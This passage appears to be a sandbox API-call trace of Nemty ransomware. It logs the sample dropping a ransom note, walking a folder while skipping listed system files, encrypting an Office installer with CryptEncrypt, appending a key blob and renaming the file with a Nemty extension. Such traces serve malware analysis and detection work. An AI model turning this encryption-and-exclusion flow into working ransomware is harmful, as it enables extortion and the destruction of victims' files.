returned 0x6345608 [0049.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-003B-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-003B-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0049.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0049.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-003B-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-003B-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{91140000-003B-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0049.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0049.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0049.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0049.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0049.805] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.805] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0049.806] CloseHandle (hObject=0x3c4) returned 1 [0049.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0049.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0049.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0049.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0049.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0049.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0049.807] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.807] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0049.808] CloseHandle (hObject=0x3c4) returned 1 [0049.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0049.809] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd15cef30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd15cef30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0049.809] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.809] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd15cef30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd15cef30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0049.809] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.809] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.809] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="...") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$RECYCLE.BIN") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="rsa") returned -1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="NTDETECT.COM") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntldr") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSDOS.SYS") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="IO.SYS") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot.ini") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="desktop.ini") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CONFIG.SYS") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="RECYCLER") returned -1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="BOOTSECT.BAK") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="programdata") returned -1 [0049.809] lstrcmpiW (lpString1="Office32WW.msi", lpString2="appdata") returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0049.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0049.810] Sleep (dwMilliseconds=0x5) [0049.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd161b1f0, dwHighDateTime=0x1d561e7)) [0049.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd161b1f0, dwHighDateTime=0x1d561e7)) [0049.824] GetLastError () returned 0xb7 [0049.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.824] GetLastError () returned 0xb7 [0049.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.825] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.825] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="V9JIbb5Bc+HiWi/zxI2Lnb321bu5i2daFLJJMVHmIOgdtSuKb4A8i3MDP3okRYjM\r\nGPf0RV6nqFY09JOZYe+nQ0bZw3ySucIl7dtgDNprbTQlMFvtM0b+e1txZFD1JvN+\r\nChd81q9PVSVNHf0bLcQ2F3vl2tPvJCj8B7A8jLj9nQLxr7H8dRXq02yKQU4837iq\r\nPA+P23QZkz+PTuttVap2/nuWvnMChHgm0PJ55tvnHjzNqAom4QRAnahalFQ02NkJ\r\n+QCnC97HRvEW8ubf6cS35kxxBn7Vo4wXWFNJ6QC9MlYCKnlHDuTkFUesU5PTJ9Px\r\ngTFQ7cuEqLvRQp+aKQalQw==\r\n", pcchString=0x653ef9c) returned 1 [0049.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.832] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1992192) returned 1 [0049.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.832] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.832] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.842] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.842] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.842] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1992192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6600 [0049.842] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.844] CloseHandle (hObject=0x3c8) returned 1 [0049.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.883] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi._nemty_kgobjgd_")) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.884] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="...") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="rsa") returned -1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="NTDETECT.COM") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntldr") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSDOS.SYS") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="IO.SYS") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="desktop.ini") returned 1 [0049.884] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CONFIG.SYS") returned 1 [0049.885] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RECYCLER") returned -1 [0049.885] lstrcmpiW (lpString1="Office32WW.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.885] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1 [0049.885] lstrcmpiW (lpString1="Office32WW.xml", lpString2="programdata") returned -1 [0049.885] lstrcmpiW (lpString1="Office32WW.xml", lpString2="appdata") returned 1 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: 